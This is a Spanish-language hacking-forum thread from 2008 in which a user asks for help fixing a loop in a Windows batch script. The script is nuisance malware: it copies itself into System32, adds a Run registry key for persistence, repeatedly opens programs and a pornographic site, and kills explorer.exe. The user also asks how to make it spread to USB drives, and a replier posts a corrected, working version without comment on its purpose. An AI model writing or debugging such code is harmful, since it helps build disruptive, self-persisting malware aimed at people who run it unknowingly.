hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
18 de Noviembre de 2008, 11:07:05
Noticias: Caracteres maximos de las firmas
Para ver este enlace Registrate o Inicia Sesion
> leer

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Batch (Moderadores: HolyKnight, PyXOLo)
| | | |-+  me fallan los ciclos en batch
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: me fallan los ciclos en batch  (Leído 266 veces)
X68KL
NZ1
*
Desconectado Desconectado

Mensajes: 40


Master Chief el mejor


Ver Perfil
« : 12 de Julio de 2008, 02:09:10 »

hola miren tengo este codigo en batch y pues lo que quiero es que se ejecute 5 veces pero no me funciona, me pueden echar una manita

@echo off
copy %0 C:\Windows\System32\zetos.bat
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "C:\Windows\System32\zetos.bat" /f
set /a uno=1
set /p dos=1
:ciclo
if %dos%<=5 (goto :inicio) else (goto :salida)
:inicio
start winword.exe
start wmplayer.exe
start notepad.exe
start
Para ver este enlace Registrate o Inicia Sesion
www.redtube.co m

start calc.exe
start mspaint.exe
start magnify.exe
start tourstart.exe
taskkill /f /im explorer.exe
set /p %dos%=%dos%+%uno%
goto :ciclo
:salida
msg * =)
exit

tambien si no es molestia me pueden decir como se hace para que se copie solo a la usb, gracias
En línea

Quiero aprender, pero me siento un 4c414d4552 !!! Nooooooooooooo ¡¡¡ Wink
LauBuru
Batch lab nivel 2
*****
Conectado Conectado

Mensajes: 178


No te acostaras sin saber una cosa mas


Ver Perfil
« Respuesta #1 : 13 de Julio de 2008, 01:32:48 »

Hola, bueno le exao un vistazo y e encontrado varios errores, e hecho el code como a mi parecer deveria ser, para que lo compares y saques conclusiones

hay va:

Código:
@echo off
copy /y %0 C:\Windows\System32\zetos.bat ::El modificador /y suprime la confirmacion
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "C:\Windows\System32\zetos.bat" /f
set  uno= 1  :: uno=_1 hay que dejar un espacio
set  dos= 1  :: Los modificadores no son necesarios
goto ciclo :: Te faltaria añadir este goto para iniciar el ciclo
:ciclo
if %dos%<=5 (goto inicio) else (goto salida)
:inicio
start winword.exe
start wmplayer.exe
start notepad.exe
start www.redtube.co m
start calc.exe
start mspaint.exe
start magnify.exe
start tourstart.exe
taskkill /f /im explorer.exe
set /a dos=%dos%+%uno% :: En vez de /p es /a
goto ciclo ::con el comando goto lo puntos sobran
:salida

Espero que te sirva


Saludos
En línea
(-AZAFRAM-)
Recien llegado
*
Desconectado Desconectado

Mensajes: 4


Ver Perfil
« Respuesta #2 : 19 de Julio de 2008, 08:06:48 »

usa las variables de sistema es mejor
En línea
VaR0!
NZ1
*
Desconectado Desconectado

Mensajes: 38


Ver Perfil
« Respuesta #3 : 04 de Agosto de 2008, 08:26:32 »

x68kl no entiendo muy bien a lo que te refieres con qeu se ejecute 5 veces

pero si es lo que creo que quieres lo puedes solucionar con un

ping -n segundos localhost > nul

entonces tu elijes los segundos y cuantas veces pongas ese comando tantas veces se ejecutara

nose si sera eso pero bueno nose venga un saludo
En línea
RockoX
NZ3
***
Desconectado Desconectado

Mensajes: 584


Ay que aprender a reirnos de nosotros mismos.


Ver Perfil
« Respuesta #4 : 04 de Agosto de 2008, 08:45:39 »

Para ejecutar un code 5 veces, puedes aser esto :

@echo off
cd %homedrive%\
:Bucle
msg * Hola
::Todo el demas code...
set /a contador=%contador%+1
if %contador%==5 (
exit /b
) else (
goto:Bucle
)

Saludos.
En línea

Open Source -
Join us now and share the software
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online